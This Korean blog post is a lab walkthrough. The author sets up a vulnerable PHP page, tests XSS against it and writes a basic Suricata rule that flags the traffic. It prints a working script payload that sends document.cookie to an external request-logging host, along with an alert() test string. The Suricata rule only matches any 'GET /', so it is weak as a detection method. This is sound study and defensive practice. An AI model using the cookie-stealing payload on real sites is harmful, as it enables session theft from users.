- [Suricata] XSS 취약점 공격 탐지 rules 작성하기 /(+탐지해보기)2024년 07월 09일 23시 41분 17초에 업로드 된 글입니다.작성자: 방세연
이전 게시글
https://spacefriend.tistory.com/44
Suricata Rule을 활용해 손에 익히기 위해 간단한 탐지 실습을 진행해볼 것이다.
본격적으로 Suricata XSS 실습을 진행하기 위해 웹서버를 구축해주었다.
웹 서버를 통한 실습을 위해 kali linux에서는 php, apache2, mysql을 설치해주었다.
그 후 xss_sec.php 에서 입력값이 내부 서버에 GET 형태로 넘어가는 코드를 작성했다.
(xss_sec.php와 요청을 보내줄 xss_sec_server.php를 작성해주었는데 코드 내용은 참고한 출처를 밑에 적어두었다.)
<form method="GET" action="xss_test_server.php">
코드 일부를 확인해보면 HTML 콘텐츠를 적절히 이스케이프하지 않아 문제가 발생할 수 있다는 것을 알 수 있다.
그밖에 xss에 대한 자세한 내용은 이전에 작성했으므로,
Suricata 실습에 집중해보려고 하겠다.
드림핵 툴즈를 이용해 이용자 접속 기록을 저장하는 URL을 생성하고, <script>를 통해 xss 취약점을 이용할 수 있도록 했다.
<script>location.href = "https://pqrqogg.request.dreamhack.games?notepadText=" + document.cookie;</script>
해당 내용을 입력받게 해준다.
<script>를 삽입하는 형태로 xss 공격을 수행할 수 있는지 확인해보자.
입력값이 GET 메소드로 넘어간다.
주소를 확인해보면 '랜덤명.request.dreamhack.games/?notepadText=' 를 통해 외부로 넘어가 사용자의 쿠키가 탈취된 것을 확인할 수 있다.
외부에서 접근 가능한 웹 서버를 통해 쿠키를 탈취하는 과정을 진행해주었다.
접속 기록을 확인할 수 있다.
혹은 위와같은 alert문을 입력해도 xss 취약점을 확인할 수 있다.
이번엔 내부 서버 xss_sec_server.php에 입력값이 GET 형태로 넘어가는지 확인해볼 것이다.<script>alert("Attacked by XSS!");</script>
먼저 해당 경고문을 입력창에 입력해준다.
http://192.168.132.133/xss_sec_server.php?xss_test=%3Cscript%3Ealert%28%22Attacked+by+XSS%21%22%29%3B%3C%2Fscript%3E xss 취약점이 발생하면 공격자가 작성한 악성 스크립트가 사용자에게 노출될 수 있고, 사용자의 정보가 탈취될 수 있다.
위와같은 xss 취약점을 통해 입력창에 스크립트로 입력해주었을 때
wireshark로 GET 요청이 들어온 것을 확인할 수 있다. 이 취약점을 Suricata가 막을 수 있을까?
Suricata Rule 적기 : /etc/suricata/rules/suri.rules
alert tcp any any -> any 80 (msg:"XSS GET Detect"; content:"GET /"; sid:1000002; rev:2;)
사용자 탐지식은 suri.rules 파일을 새로 작성해주어 탐지식 및 경고문을 적어주면 된다.
파일 경로는 /etc/suricata/rules 안에 있다.
0-999,999 Suricata, Snort, 기타 서명 제공자가 사용하는 범위 1,000,000 이상 사용자 정의 규칙을 위해 예약된 범위 가 일반적이다. 따라서 sid:1000000 이후의 시드 넘버로 식을 적어주었다.
탐지 로그 확인하기 : /var/log/suricata/fast.log
┌──(root㉿kali)-[/etc/suricata/rules]
└─# cat /var/log/suricata/fast.log
07/09/2024-09:32:28.965511 [**] [1:1000002:2] XSS GET Detect [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.132.1:58062 -> 192.168.132.133:80fast.log의 로그 내역을 확인해주면 XSS GET Detection 메세지가 확인되므로, 탐지가 수행되었다고 할 수 있다.
기본적인 부분을 다뤄봤는데 Snort 룰과 호환이 된다고 하니 아직까지는 크게 다른 부분을 못느끼겠다.
다음 포스팅에서는 좀 더 심화적인 실습을 해봐야할 것 같다.
💡참고한 사이트 :
https://liveyourit.tistory.com/37
https://saynot.tistory.com/네트워크-Suricata수리카타-공부
다음글이 없습니다.이전글이 없습니다.댓글